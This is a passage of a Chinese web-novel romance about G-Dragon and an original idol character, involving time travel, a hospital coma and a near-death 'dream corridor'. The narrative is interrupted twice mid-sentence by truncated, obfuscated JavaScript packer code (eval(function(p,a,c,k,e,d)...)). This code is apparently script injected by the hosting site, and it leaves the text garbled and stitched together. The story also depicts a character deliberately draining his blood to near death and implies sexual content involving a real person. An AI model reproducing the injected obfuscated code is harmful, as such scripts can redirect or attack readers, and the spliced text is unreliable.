到玻璃上,反倒显得室内灯火明亮,她看到自己受到些许惊吓的表情被倒映在玻璃上,显得有些滑稽。 这的确是一场暴风雨。 确实哪里都不适合去。 江留月捂着自己闷闷的胸口,只觉得有些喘不上气,她总觉得自己忘记了什么,脑子里满是谜团。 看权志龙如此逃避的态度,那么大概率,他是来自未来的权志龙。 所以,现在是因为不想分手所以在演戏? 可是,又为什么摸着自己的头,流着眼泪告诉她,已经可以回家了呢? “可是,我的家……在哪里呢?” 江留月有些疑惑的自言自语道。 “会是江南的公寓吗?” 柳天赐和乔娜居住在首尔的北村那边,那里有柳家的一整套韩屋,柳天赐以宗族出身为荣,一直居 住在其中,江留月不喜欢传统韩屋的榻榻米,也和他们家里的人不亲近,因此在她出道之后,就没 有回去住过,大约在2010年的时候,柳天赐翻新家里的房间,江留月的房间就变成了一间茶室,江 留月自那之后,也就没有留宿过了。 江留月在2011年买下了江南的一套大约140平的公寓,房子是精装修交付的,她按照自己的喜好布置了软装,将其中两间房间打通作为艺人最需要的衣帽间,另一间房作为娱乐室,她喜欢在里面玩 拼图和乐高,乔娜不会过来住,她因此只留了一间主卧来供自己休息。 那是她独属于自己的空间,权志龙也好,朋友也好,都不曾涉足,在此之前,她住的是公司租的宿 舍,和bigbang的五人宿舍在同一个小区的同一栋,后来他们名声越来越大,小区跟不上安保条 件,bigbang的成员们都各自购买了住所,她也另外买了一套公寓来住,作为招待朋友、综艺拍 摄、日常休息的落脚点。 这套公寓一直被粉丝们认为是江留月的家,但她其实住的也不算多,除了跑行程的时候基本住酒店 之外,她她住的最多的房子就是现在这套权志龙2012年购入,2013年才搬进来的大平层。 这套大平层是权志龙亲自设计,把所有精装修都砸了重装的,几乎完全是他的风格,除了卧室、工作室、娱乐室之外,还为江留月留了一间她用来平时练毛笔字和看书的中式书房。 权志龙对这方面的文化不能说很精通,江留月大大吐槽了他一番,自己重新又做了设计,交付的时 候,设计师团队的主设计师已经跟他们很熟悉了,笑着吐槽说‘你们真是我见过最难搞定的夫 妻’。 江留月这才后知后觉这太像是新婚夫妇装修新房了,一下子给闹了个大红脸,思来想去两三天,偷 偷地自己买了一刀红纸,用刻刀雕了一个龙凤呈祥装裱了一下,放在了书房的架子最中央。 她当时红着脸,看着那并不算精美的画框,到底在想什么呢? 会是想着:‘这才是真的像一对新婚夫妇的家的样子’吗? 所以,回家的意思,是跟着回来? 江留月记得自己当时似乎不是这样回答权志龙的,但,她努力去回想,却怎么都想不起来,仅仅发 生在昨天的对话里,她说了什么了。 因为当时,权志龙将流着眼泪的脸庞埋入她的掌心的时候,她就莫名的,因为感到心痛而窒息,自 己也不知道自己说了什么。 她只模糊的记得,权志龙说要分开,要跟她告别,说愿意放她回家去。 当她清醒过来的时候,权志龙已经捂着嘴在咳血了,她下意识的凑过去,然后就被忽然变脸的权志 龙压住吓个半死,一直到回到家也没搞懂发生了什么。 啊,对了,金优。 金优那边,会知道什么吗? 权志龙说,金优吃了牢饭,这又是什么时候发生的事情呢? 江留月潜意识的觉得自己不对劲儿,但她怎么想,都想不明自己怎么个不对劲儿法,她正在苦恼的时候,权志龙敲了敲门。 “干嘛呢,塔伊,吃饭了。” ……好普通的日常。 好诡异的日常。 他们现在是应该这样看着综艺,吃着外卖,分享同一杯加了冰块的可乐的时候吗? 好像不是吧。 外面感觉雷暴雨都要把天空给撕开了,好像有什么大事发生了。 他们之间应该也发生了很多事情。 为什么权志龙却能一边看着综艺一边手指灵活的给她包肉吃? 江留月嚼着嘴里的肉,只觉得自己身处的位置都变得模糊和不清晰起来。 这是梦? 还是现实? 如果这是梦,这是谁的梦? 是回到了2014年的她的梦。 还是,2024年,想要回到这里的她的梦? “给哥再喝一口。” 权志龙两只手都套着一次性手套在给她包肉吃,张嘴抬下巴示意她将可乐杯递过去。 江留月脑子很乱,但身体倒是非常诚实的给她哥喂可乐。 一口冰可乐下肚,权志龙发出很舒服的感叹声。 ……太诡异了。 眼前的这一切。 因为太日常,太普通,所以非常诡异。 吃完之后,照例是权志龙收拾,他手脚麻利的将垃圾进行简单分类,然后用湿巾把桌子擦干净,嘴 里絮絮叨叨的说今天的排骨汤不好吃,里面的粉丝感觉都不够软。 江留月忽然感到强烈的晕眩。 她眼前的景象一直在漂浮,割裂,最后变成碎片。 “……塔伊?” 权志龙发现她呆呆地样子,凑过来想要摸摸她。 江留月抬起头,看向权志龙,伸手抓住了权志龙想要摸她额头的手。 “你……你到底是谁啊。” 她被权志龙给搞混乱了。 “志龙哥?” 她两只小手抓着权志龙宽大的手掌,下意识的攥紧对方的手指:“你是志龙哥吗?” “怎么了,塔伊?” 权志龙半跪在沙发旁边,脸上勉强撑起笑容:“不是你哥我还能是谁啊,坏丫头,你现在连哥都不 认识了吗?” “真的志龙哥,还是幻觉?” 江留月抓着那只大手,她漂亮的,黑色的眸子里充满了困惑和迷茫: “我又犯病了是吗?” “我又能看见你了?” “好奇怪啊,哥,这次我竟然,能摸到你诶。” 权志龙的笑容瞬间凝固在了脸上。 他瞬间就屏住了呼吸,看着眼前的人那迷茫又无辜的表情。 “是我病得更重了吗?” 江留月眨了眨眼睛,软乎乎的声音带着点不易察觉的雀跃:“可是,可是哥哥,我回家了诶。” “我在家里看到你了。” “这也是梦吗?” 她顿了一下,继续说道:“啊,看来我确实,病得更重了。” 江留月的脸上露出一些失落,她有些窘迫的低下头,小手却一直抓着权志龙的手没有松开,她借由这双手,获取着为数不多的安全感。 好累啊哥哥。 今天私生又追到酒店里来了,金优要把我送回别墅那边去,可是最近一直在下雨,别墅又空又大, 我很害怕,就把所有的灯都打开了。 新闻记者们很坏,说我家里灯火通明是在家里开聚会,他们进不去小区,就把所有进入小区的人当 成是我的客人。 哥哥,公司里来了新的艺人,他看起来很友善,但他私底下跟别人说我要是胸再大点就好了,这种 人可真讨厌,我想避开他,但这种理由我说不出口,我知道自己会陷入自证的陷阱,这种家伙还要 跟我拍戏,他的手放在我的肩膀上的时候,真想给他一榔头。 哥哥,我在日本学声乐的时候肚子被声乐老师戳得好痛,她要我学会新的发音方式,但是我总是学 不会,只是戳两下肚子和脖子,我就很想放弃了,不,也不是想放弃吧,我就是自己给自己摸肚子 感觉很奇怪。 啊,你还记得我之前吃太多吗,你给我揉肚子,说我是讨债鬼,是狗崽子,说上次看到那么圆的肚子还是刚被你买回来的家虎。 哥哥,我在北京发现一家很正宗的韩餐,味道很像是你经常带我去吃的那家,真奇怪啊,韩餐这个 东西好像在韩国就特别难吃,到别的国家就变好吃了,为什么啊。 今天看到了你脚踝受伤的新闻了,哥哥,我梦见练习生的时候,我练舞的时候绊倒了你,你很生气 说我把你的腿给搞断了,我吓得一个劲儿哭,你又说自己一点事儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我们又见面了,哥哥,你靠在你旁边的时候,一直偷偷在心里头说话,你听见了吗? 可能吧。 也不太重要。 我们也不是能这样说话的关系了。 你的手搭在我的肩膀上,我们一起合影,然后你就走开了,我看着你的背影,想着你可以不回头, 你一直都这样不喜欢回头,但你会悄悄地把手往后伸,让我赶紧牵住,不要走丢了。 “……这手也是真的吗?” 江留月捏着权志龙的手,苦大仇深的皱巴着小脸。 权志龙被她吓出了一身冷汗,他努力克制着自己,让自己平静,勉强挤出笑容,抓着江留月的手将 她拉过来抱在怀里。 “怎么了呀塔伊,手当然是真的,哥也是真的啊,你这孩子再胡说八道哥哥要打屁股了。” 他半真半假的拍了两下江留月的屁股。 怀里的人松开手抱住了他的脖子,像是个小朋友一样缩在他的怀里,权志龙下意识的把她给抱紧, 江留月疼的闷哼一声,却没有反抗,反而更加柔顺,用含糊的鼻音叫着哥哥。 权志龙嗯嗯的答应着,吻着她的脸颊,心里涌出无限的酸楚和细密的疼痛。 真的吃了很多苦吧。 为什么能吃那么多苦啊。 为什么能把你弄丢,让你一个人吃那么多苦啊。 权志龙怨恨着那个未来的自己,他怨恨对方说的每一个字,那些错误的选择,越走越远的路,都让 他感到怨恨。 “没事了,塔伊,都过去了,现在我会一直在你身边的,嗯?我们不会分开的,别怕,哥向你保 证。” 权志龙轻声的重复着类似的话语:“你现在在家呢,刚刚还吃饱了饭,什么都没发生,你好好的, 我们都好好的,不要害怕。” 江留月轻微的颤抖了一下。 她抱紧权志龙的脖子,用有些胆怯的声音,小小声的说道:“可是这里不是家。” “这里怎么会不是家呢,这里当然是你的家啊,塔伊。” 权志龙密密麻麻的亲吻她的脸颊,可江留月却很认真的看着他: “可是这里被你拆掉了,哥哥。” 权志龙猛然顿住。 他和‘他’的沟通时间很短,两个人的交流也不愉快,他只知道江留月病了,却不知道具体是为了 什么,又是什么状态,他只要忍下心痛,尽量的想要从她的口中得到更多的信息,轻声道:“为什么这样说呢,这个家什么时候被拆了?” “妈妈死的时候。” 乔娜的死讯传来的时候是下午,江留月赶最快的飞机到韩国,又到殡仪馆认领了尸体,此时已经是半夜了,警察让她第二天白天再去警局办手续。 她那时候倒是很清醒冷静,等到从殡仪馆出来,就整个人都是晕晕的。 出租车司机问她去哪里,她报了地名,到了地方才发现是权志龙买的这套房子。 她本应该掉头就走,却鬼使神差的,脚步凌乱急促的下了车,她走得是上面的通道,保安队长一直 没换,竟然还记得她,手忙脚乱的给她开了门。 她自己找到楼栋摸了上去,这个小区很高级,当她走出电梯,就已经脚踩在了家的一部分上。 这套房子依然属于权志龙,门没有换,密码也没有换,指纹也没有删。 江留月推开门。 家里大部分艺术品、家具都搬走了,只有一些大件儿,权志龙留下了。 因为无人居住,这些大件儿上都盖上了白布遮挡灰尘。 江留月抬起手,却没有勇气掀开。 这块白布下面。 覆盖的又是谁的死亡? 她已经见证足够多了。 真的没有勇气再去看了。 讲完了这句话的江留月倒是没有流泪,她只是靠在权志龙的肩膀上,用手指摸着他的发尾,她看着 权志龙的后脖颈,那里还没有刺上路西法的羽翼。 志龙哥。 我又开始分不清楚了。 你有时候存在,有时候不存在。 你有时候爱我,有时候不爱我。 我和你之间,到底哪些是真的,哪些是我的幻想? “……没事了,一切都没发生呢,塔伊。” 权志龙竭力让自己保持平静,尽量平和的安抚她,其实他自己都不知道自己要怎么保持冷静了。 一切都还来得及。 乔娜还好好的呢。 一切都还来得及。 “没事的,塔伊,哥向你保证,这一切都不会发生的。” “你会好好的,阿姨也会好好的,你们都会好好的。” “我不会将你一个人丢下的,塔伊。” “这个房子,这个家,也不会被拆掉,这里会一直都那么温暖,不管你什么时候回来,塔伊,这都 一定是你的家。” 权志龙拼尽全力寻找着最委婉平和的词语,试图去安抚江留月,让那噩梦从他怀里遍体鳞伤的小孩 身上离开。 “你到底是谁呢?” 江留月已经被彻底搞迷糊了,这个人一会儿要跟她道别,一会儿又说死都别想离开他,一会儿亲吻 她拥抱她,一会儿又背对着她不肯伸出手让她牵住,这个人拆了这里,又说这里永远不会改变。 “我知道我是谁,可是,你是谁呢?” 她知道,她是来自于2024年的江留月,可眼前这个人是谁? “你好奇怪。” “你好像什么都知道,却跟我说,什么都没发生,都还来得及。” 江留月感到十分困惑:“可是……只有你来得及呀。” “我……都经历过了,怎么会来得及呢。” 明明早就来不及了啊。 在你听到悲鸣的那个瞬间。 早就来不及啦。 52.stay with me (上) 52.stay with me (上) 首尔已经很久没下过那么大的雨了。 开着车从幼儿园赶往医院的时候,东永裴差点拐进一条被淹了一半的街道,好在他还记得妻子的叮 嘱。 【上次去的时候,病房里太冷清了,给塔伊带一点花盆过去吧,那些花束虽然很好看,但是总觉得 马上就枯萎了,真的很不吉利。】 闵孝琳头一天带着孩子在公园玩,因为突发暴雨所以用外套将孩子裹住因而重感冒了,将丈夫和孩 子送出门的时候,她一边递给东永裴饭盒一边嘱咐道。 【……啊为什么非要这个时候感冒呢,我该一起去的。】 话音刚落,闵孝琳自己就否认了这个想法:【不不不,还是算了,感冒是不是也是病毒啊,那孩子 现在那么脆弱,感觉会让她更加难受。】 直到东永裴进入电梯让孩子跟她挥手,她一边笑着对孩子摆手一边做着‘花、花’的口型让东永裴不要忘记。 东永裴因此拐去了常去的花店,待到他选好了花出来的时候,那边的道路已经摆上了禁止通行的黄 色交通锥。 因为这种原因,东永裴不可避免的迟到了。 他没能躲过粉丝们已经开始等待的时间,从停车场出来就被发现了,咔嚓咔嚓的快门声和粉丝们声 音嘶哑的问候,让东永裴不忍的停下来脚步。 此时距离江留月的事故已经过去两个月的时间,依然每天都有粉丝守在医院附近,医院也是没办法 了,只好单独划开一条靠近停车场的道路出来。 如今江留月身边的中国团队那边也有几个人常驻这里,粉丝们会转交一些祈福的物品或者信件、绘 画什么的,然后问一问江留月的近况。 虽然一直都是千篇一律的回复,但,人依然在医院里,多少给了粉丝一些希望。 只是当面对的人不是工作人员而是东永裴的时候,一些粉丝难免会控制不住情绪的哽咽起来。 东永裴只好从口袋里摸出给儿子带的奶糖分给她们,其他安慰的话也说不出来,只好说今天暴雨不 太安全,让他们早点回去。 “你们衣服都湿了,会感冒的。” 粉丝们用红红的兔子眼看着他,突发奇想道:“生病的话,我们也可以进去治疗吗?” “……为什么要生病啊,不要生病,赶紧回去吧。”东永裴多少有些无奈。 想也知道,治疗感冒的地方不可能见得到江留月吧。 “OPPA,这是给志龙OPPA的,让他注意身体,他现在瘦了好多,也太瘦了。” 粉丝拎着一些补药塞给了东永裴。 东永裴一一答应了,又让她们赶紧回去,脸上努力挤出笑容,待到走入电梯,表情才有些疲惫的垮 了下来。 电梯抵达楼层,东永裴走出去,先过电子门,又靠刷脸过安保,将东西都托付给工作人员,才甩了 甩自己酸疼的手腕。 “志龙在哪里呢,吃饭了没?” 东永裴问道。 老虎哥面露难色,吞吞吐吐的说:“啊……志龙……还没醒呢。” 东永裴怔了一下:“没醒,是什么个意思?” 老虎哥搓着手:“按理来说,他凌晨就会醒过来的,可是今天这个点儿了,一直都没醒。” 见东永裴的脸色变得难看起来,老虎哥急忙补充道:“可是医生来看过了,说他的生命体征还算平 稳,应该是太累了所以还在深度睡眠。” 东永裴站在那一会儿,叹了口气。 他知道,自己对老虎发火也没有任何意义。 谁都劝过了。 权志龙拧巴起来谁也转不动他,甚至把父母请过来,他也只是低着头一言不发的掉眼泪,直到父母 先心软了。 他不知道从哪里听来了巫师的话,试图进行一种危险的活动,通过大量抽走自己的血液来让自己进 入濒死状态,然后再过一阵子之后将血液回输。 虽然‘自血疗法’也作为提升专注力的健康疗法之一,但他抽取的血液明显已经超过了这种疗法的 极限,好在有着专业医生进行操作,又背靠韩国最先进的医院,大家最终才勉强同意他这样胡闹。 这样大约胡闹了快一个月了,得亏是权志龙这几年攒了点身体本钱,不然还真禁不起他这样糟蹋。 但,江留月并没有因为他这疯狂的行为醒过来。 大家一度担心权志龙会因此情绪崩溃,但他只是看起来阴郁了不少,还在继续着这样疯狂的行为。 医疗组不赞成权志龙继续这样,父母更是不知道背地里叹气流泪了多少回,东永裴也想要劝,但每 次都张不开嘴。 一次一次又一次。 人怎么能从濒死的状态无限次的恢复过来呢? 东永裴下定决心,他发信息给妻子让她安排助理去接儿子放学,决定今天要守在医院里跟权志龙死 磕到底。 真的不能这样疯癫下去了。 东永裴将花盆先放在护士站,然后转身去找医生了解了一下权志龙的身体状态。 这个主治医生同时也负责江留月的日常治疗,在跟东永裴聊完之后,又舔了舔嘴唇,迟疑的说道:“太阳……啊,抱歉,我还是习惯性叫您太阳xi。” 东永裴表示无所谓,本来知道他本名的人就很少,他也已经习惯被这样称呼了。 能叫他永裴的,只剩下身边至亲了。 医生踌躇的说道:“也许我不应该说这样的话,但是,这样下去其实意义已经不大了……我不是说 有什么浪费医疗资源的意思,不是这个意思,请您不要觉得被冒犯或者,我不愿意去救助Alice小 姐,我很愿意,真的,如果能将她治好,不光是我,大家都会拼尽全力的,这是真心话。” “但……是不是也到了放弃的时候了呢。” “我知道这很难,可是,真的已经很久检测不到好的脑部波动了,自主呼吸也是,一旦撤下机器就 会消失的状态。” “虽然现在说病人是没什么意识的状态,但如果有意识的话……” “也是很痛苦的。” 医生搓着自己的大腿,眼珠子乱飘,显然也对自己说的话感到无所适从。 大约是个被逼迫着推出来谈判的人,因此自己先为自己医术能力的不足感到了愧疚的好人。 “……中国那边的律师团队确认了Alice小姐的遗嘱真实性,里面也确实提到,如果碰到重大灾祸,希望可以放弃抢救的事情,是不是也要尊重一下当事人的真实想法呢?” 说完这些话,医生自己先大喘气了一会儿。 东永裴认真听完之后,点了点头。 他没有说答应也没说不答应,只是说了一句让医生不算太失望的话。 “我会好好想想,然后和志龙谈一下的。” 医生自然是感激万分,东永裴又客套了几句,起身走出了医生的办公室。 助理问是不是需要帮忙将这两盆花都搬进去,东永裴谢绝了,他自己动手将花盆端进了江留月的病 房。 偌大的病房推开之后,空气都是冷冷的,还有一些加湿器的烟雾。 雪白的床铺上到处是仪器的管子和电源线,江留月躺在其中,只有头发是黑色的,整个人都是失去 血色的惨白。 东永裴亲自将花盆拆开,又用小水壶兑好了营养液,待到花看起来精神了一些,他将花盆放在了窗 台上。 因为害怕有人用无人机或者大炮拍照,江留月房间的窗帘已经很久没拉开了。 这样一直没有阳光照进来,难怪会觉得冷冰冰的。 东永裴拖了把椅子在床边坐下,他单手抱着膝盖,看着病床上沉睡的江留月,陷入了漫长的沉默。 平时和妻子一起来就不这样。 闵孝琳会帮忙给江留月按摩,还会讲一些有趣的小事儿,她总是能注意到一些很小的细节,比如说 帮江留月整理好衣服内侧的棱角,再帮忙清理耳朵、剪指甲什么的。 他一边觉得自己娶了个好妻子,一边又觉得在旁边干坐着的自己很尴尬。 这会儿倒是不觉得尴尬了。 闵孝琳不在,他也不必强撑着一副若无其事的样子。 东永裴搓了搓自己的脸,轻轻地吐出一口气,他已经认真想了很久了,决定还是有些话要对沉睡中 的江留月说。 “塔伊。” 东永裴低下头,看着地上的电源线。 他觉得这好像是一张密密麻麻的蜘蛛网,江留月是一只被缠绕其中的蝴蝶。 这张网到底是在救她,还是在困住她? “哥真不知道怎么办才好了。” “我要怎么跟志龙说啊。” “说应该放你走了。” 东永裴说完了这句话,自己又愣了一会儿,然后几乎是反射性的自我否认的摇头:“不是,好像不 行啊,塔伊。” “他不会接受的。” 自江留月出事,她身边常有人守着,东永裴还是第一次单独和她相处,因此有些话一旦开头就刹不 住一样的往外说。 “说实话,哥也很难接受。” “你这孩子,真是的……为什么总是干一些让人瞠目结舌的事情。” 东永裴忍不住问道: “塔伊。” “你这孩子,干什么大事之前,总是自己做决定,为什么不能和哥哥们商量着来呢。” 当初江留月闹着去中国发展的时候,东永裴并不以为意,他甚至有点高兴。 当时,bigbang自己都在中国发展的很好,fanmeeting都能开个几十场,他想,江留月也来的话, 就可以一起上综艺了。 Alice的综艺感一直都很强,而且她中国话那么好,一定会很有意思的。 这样一起上综艺、一起打歌的日子,还是刚出道没几年的时候最多,他颇有一些‘令人怀念的日子 又回来了’的幸福感。 而且这样一来,她和志龙两个人的交集变多,接触变多,一些别扭吵架很自然的就会减少,两个人的情感也会更加稳定吧。 东永裴本来开开心心这样想的时候,突然听到了江留月要前往中国长时间活动,且已经开始着手和 YG解约的事情,简直就是晴天霹雳。 他搞不懂,真的搞不懂。 江留月却铁了心一样,她要和权志龙分手,为此将来劝和的人都给拉黑,东永裴有心找她聊,但确 实感情的事情,他实在是很难有经验去劝慰别人。 拖来拖去,事情开始朝着不可控制的方向发展,世界上的一切都瞬息万变,YG因为是朴系,很快卷 入接下来的总统弹劾中人人自危,江留月的割席,注定要染上不一样的色彩。(注) 【怎么说都是中国人吧,现在就是要背叛培养了她的韩国了。】 【她的态度还不明显吗。】 【体谅一下吧,她一个中国来的人,怎么才能在接下来的日子里好好在韩国活动啊,又不能站队又 不能表明立场,留在韩国的话,只能夹着尾巴做人,不被记者们穷追猛打就不错了。】 东永裴也知道娱乐圈忌讳站队,但江留月出身中国这件事情,谁又有能力改变呢? 她回中国去,的确是最优解。 果然,江留月去中国发展之后,势头极猛,东永裴还刷到了她参加各种国家级活动,韩国舆论沸反 盈天,痛斥她的背叛和立场,逐渐,她成了一个不能被公开提起的名字。 不提她,是在保护她。 因为都明白这样的道理,大家就很有默契的闭上了嘴。 但东永裴总是忍不住要担心,晚上跟当时还是女朋友的闵孝琳聊天的时候,忍不住为江留月流眼泪。 他总担心,这孩子是不是听说了什么不想拖累他们,又害怕江留月因为在韩国呆了几年回中国之后 会挨骂。 闵孝琳不住的安慰他,搜了江留月的近况给他看。 【至少好好的生活着,人气也很高,等到形势缓解,就会好起来的。】 【到时候一定能再见面的。】 果然过了一年之后,形势有所缓解,东永裴赶紧给江留月递梯子回来参加婚礼,婚礼上,他见到了 自己久违的小妹妹。 不知道怎么的,明明是光鲜亮丽的大明星,更漂亮、更光彩照人了,他看着江留月,却只觉得她状态如同惊弓之鸟,浑身紧绷。 东永裴没由来的幻视了一下。 他似乎看到了十四岁的江留月穿着邋里邋遢的棉袄,拎着外卖箱子,黑凌凌的双眼不安的打量着练 习室的样子。 东永裴快步走过去,站在她旁边,他其实当时很想抱一下自己很久没见的小妹妹。 但他意识到,这不是一个合适的场合。 江留月回韩国来参加婚礼,不应该卷入任何不好的言论中。 于是他强压着心里的激动,只是抓着江留月的手臂向旁边的人介绍,这是他的小妹妹。 “……当时应该抱一下的。” 东永裴摸了摸自己的脸。 他总是在想。 当时应该抱一下的。 这又不是别的什么女艺人或者普通后辈,这是塔伊,是Alice诶。 她小的时候,在他的羽绒服里睡觉,一起出去吃烤肉,因为哥哥们喝酒太能聊而睡着,是他背回去 的。 为什么非要迟疑那一下呢。 “你知道哥是爱你的吧。” 东永裴用轻松的语气说出了这句话,然后陷入了一下子又不知道说什么好了。 他本来是要接着说:【所以哥能知道你在想什么,也知道你现在很痛苦,哥会尊重你的选择的,塔 伊。】 但不知道怎么的,下面这句话,怎么都说不出来。 理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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起我们的名字,总是在疲惫的行程之后抱着吃的来找我们,总是替我们收好粉丝们代为转托的信 件。 塔伊,你是个笨拙的小孩,从来没发现过自己的字迹和所有韩国人的字迹不同吗,你笨拙的模仿粉 丝的笔迹写的每一封信都被我们发现了,我们甚至会盲猜今天你带来的信件里到底有哪几封是你的杰作。 你为自己捏造的名字、经历,都是虚假的,夸奖我们歌曲的词汇也重复匮乏的可怕,可是哥哥们看 到的你那真诚、清澈、热烈、坚定的心意,一直都闪闪发光,从不作假。 塔伊,拿到第一个一位的时候,我们都约好不管谁发言,都不要忘记感谢你,结果因为太慌乱了, 发言的人说话还没来得及喘口气,旁边几个人都在异口同声催促提醒着你的名字,粉丝们开玩笑, 说我们是害怕你会生气,其实不是的塔伊,我们只是好不容易找到了,终于可以堂堂正正,骄傲的 提起你的名字的时刻。 从那时候开始,所有知道我们的人,都知道你就是我们所有人的妹妹,没有话题的时候会提到你, 有话题的时候提到你,虽然没有妹妹,但是就连主持人们也会说‘因为有Alice在所以也能理解有 妹妹的心情’,怎么会不能理解呢。 你就是我的妹妹,没有错的。 是我们家最小的孩子。 哪怕你30岁了,40岁了,哪怕来了10岁的后辈,你也是我们家最小的孩子啊。 塔伊。 你的人生就这样和我们的重叠在一起,我们见面的时间远超过真正的家人,我人生的拐点你都在, 就像是我看到了你每个成长的瞬间一样。 那个时候我真的以为,我们就会这样像是真正的家人一样度过一生,我的孩子和你的孩子也会互相 陪伴着长大,他们一起经历的时间,会比我们的更加长久。 你叫我哥的时候,你的孩子也叫着我的孩子哥哥或者姐姐,你对我告状的时候,小孩子们也在旁边 喋喋不休。 本应该这样的。 我都打算临死前也要跟妻子和孩子们说。 【塔伊如果来送我的话,要好好的照顾她,不要让她哭得太厉害了。】 为什么现在站在这里流泪的人是我呢。 你原来不是这样,会让哥哥流泪的小孩啊。 塔伊。 你打算让我们怎么忘记你呢? 我又要怎么忘记你呢? 我要怎么忘记我们一起练习舞蹈、声乐的日子,怎么忘记在后台一起分吃紫菜包饭和炸鸡的日子, 怎么忘记为了最后一碟糖醋肉的归属猜拳打闹的日子,怎么忘记越来越离谱的整蛊之后一起被叫到 社长办公室挨骂的日子呢? 你担任人气歌谣MC的时候,我们来打歌站在你身后时,你憋不住笑,总是偷偷回头瞄我们,结果把 手里的小卡都洒一地,只好所有人都撅着屁股帮你去捡的样子,烟雾缭绕到要把人吞没的录音室里,你总是突然打开门冒出来大叫一声哥哥们,脸上带着灿烂笑容的样子…… “我好像没办法劝志龙。” 东永裴捂住了自己的脸: “怎么办啊,塔伊,我好像没办法劝志龙。” 光是我和你之间的回忆,就让我如此痛苦。 你作为家人陪伴着我的日子,比真正的家人还要久、还要亲密。 这些日子里,志龙不也一样参与其中吗? 除了这些回忆,他还有着和你相爱的时间,你们之间共同的秘密,曾经许下的誓言,幸福的时光, 我要怎么跟志龙说,让他放弃呢? 如今有了妻子和孩子的我,更能懂得这样的幸福有多么的珍贵。 我无法想象没有妻子陪伴的人生。 志龙不也一样吗? 如果志龙做了这个决定,他会多么痛苦。 如果志龙做了这个决定,失去了你的我们,真的不会在未来的某一天,对他说出怨怼的话语吗? ……为什么感觉像是在逼迫权志龙去犯罪,去手刃自己的爱人一样的折磨? “我要怎么办啊,塔伊。” 你和志龙好像都朝着我所恐惧的深渊一步步走去了。 我要怎么做才能阻止这一切呢? 东永裴呆坐着,直到他突然听见了尖锐的仪器警报声。 他下意识的抬起头看向江留月,却发现江留月依然安静的躺在床上,仪器一切正常。 纷乱的脚步中。 他猛然意识到。 那警报声来自于隔壁。 那不就是…… 东永裴脚下一软,险些摔倒。 门被猛然拉开,老虎脸色青白的大喊着什么。 东永裴一概听不见。 他也不知道为什么,只是看着依然昏睡中的江留月,只觉得寒意从脚底攀爬,直到攫取全身。 不知道为何。 他就是知道。 “……权志龙,你小子,真是个疯子。” “你……在塔伊身边,是吗?” 53.stay with me (中) 53.Stay with me (中) 权志龙也对现在的状况感到了头痛。 先是不知怎么的他就被扯回了梦游廊,然后,他有一段时间几乎不能站立和移动,只能捂着胸口倒 在地上。 然后,他忽然感觉到了身体上诡异的反应。 应该是本来就属于2014年的权志龙夺回了身体,但,似乎没能完全夺走。 权志龙应该是有一部分灵魂残留在对方的身体里,犹如是千丝万缕的神经,传递着那具身体的一言 一行。 就连对方咳嗽的时候,他的声带都感到了轻微的震动。 对方说的每一句话,都在他的脑子里回荡。 他因此感到无可奈何。 因为这个‘对方’,正是过去的自己。 然后,事情就脱离了控制。 权志龙有了一段匪夷所思的经历。 很难去形容这种感觉。 他实在是无法屏蔽自己的感官,就连伸出手去为被吓到的江留月擦拭脸颊上干涸的斑驳血迹的时 候,他甚至能感觉到指尖陷入了滑嫩细软的肌肤。 “……” 救命啊。 权志龙耳朵都红得要滴血了,眼下这种状况简直太超过了。 他以为这就已经很难熬了,结果是陷入了一场更为瑰丽、香艳到近乎折磨的通感梦境之中。 这场折磨到了最后,他浑身出的汗都快要跟江留月掉的眼泪一样多了,整个人都窘迫到蜷缩成一 团。 如果不是灵魂不能动弹,他恨不得逃窜回自己的身体去。 这也太超过了太羞耻了吧!!!!! 虽然知道14年的那个自己年轻气盛又睚眦必报,还有年轻人特有的精力旺盛,但,这个过程实在是 漫长到了权志龙自己都麻木了的程度。 想他之前束手束脚,就连亲吻都小心翼翼,他又滋生出了微妙的嫉妒感,扭曲的心思还来不及蔓 延,又听着‘自己’的声音,瞬间产生一种被人按头听十几年前非主流发言的羞耻感将负面情绪扑 灭。 待到看江留月呼吸绵长的睡着,权志龙自己都松了一口气。 这么一折腾,把他伤感的情绪都折腾没了,他身心俱疲,只想赶紧回到自己真正的身体里面去,他 需要做的事情太多了,并不应该耽误在这里。 这个时候,他才发现,自己无法脱离梦游廊的事情。 他似乎被‘困’在了这里。 权志龙试图使用之前脱离的方法离开梦游廊,但是使用了几次都失败了,好在他总算可以控制住自 己灵魂的肢体,艰难的从自己倒下的地方慢慢的站直活动身体。 胸口仍然传来些许刺痛,他觉得喉咙里堵的难受,下意识的咳嗽了两声,才发现自己嘴里涌出来的 东西是血。 这好像不太妙啊。 虽然明烛很久之前就告诉过他,健康的人就算通过手段进入濒死的状态,也和真正濒死的人不同, 灵魂和身体之间是紧密相连的,这样贸然进入梦游廊,强行断开身体和灵魂的联系是会伤害到自己 的。 权志龙反反复复进入梦游廊那么多次,也感觉到自己清醒过来之后身体的疲惫感在加重,也经常觉 得呼吸困难或者出现晕眩的感觉。 可是在梦游廊里面的他,一直都是相对于比较健康有力的状态,从未出现过现在这种吐血的情况。 他下意识的试图再次脱离,但,更不妙的事情发生了。 他眼前出现的并非是医院的天花板,而是家中盥洗台上的镜子。 他在镜子里,直面了2014年的自己。 这种感觉是非常古怪的,尽管他短暂的占用了2014年的权志龙身体,并通过镜子无数次观察过自 己,但,这种感觉改变了。 以前的他,凝视的只是自己的样貌,他很清楚这具身体里是自己的灵魂,这只是类似于照镜子的行 为。 现在的他,却能感觉到,对方也在用审视的甚至带着敌意的目光看着自己。 这种感觉,十分古怪,但,又好像有些熟悉。 对方开口了。 2014年的权志龙带着一身炫耀的痕迹,傲慢的进行审判,将‘权志龙’这个名字分给他,自己则拿 走了‘G-Dragon’这个名字。 一个灵魂跨越时空,和昔日的自己,面对面。 权志龙因为太了解自己,所以也知道,这次面对面聊不了什么东西。 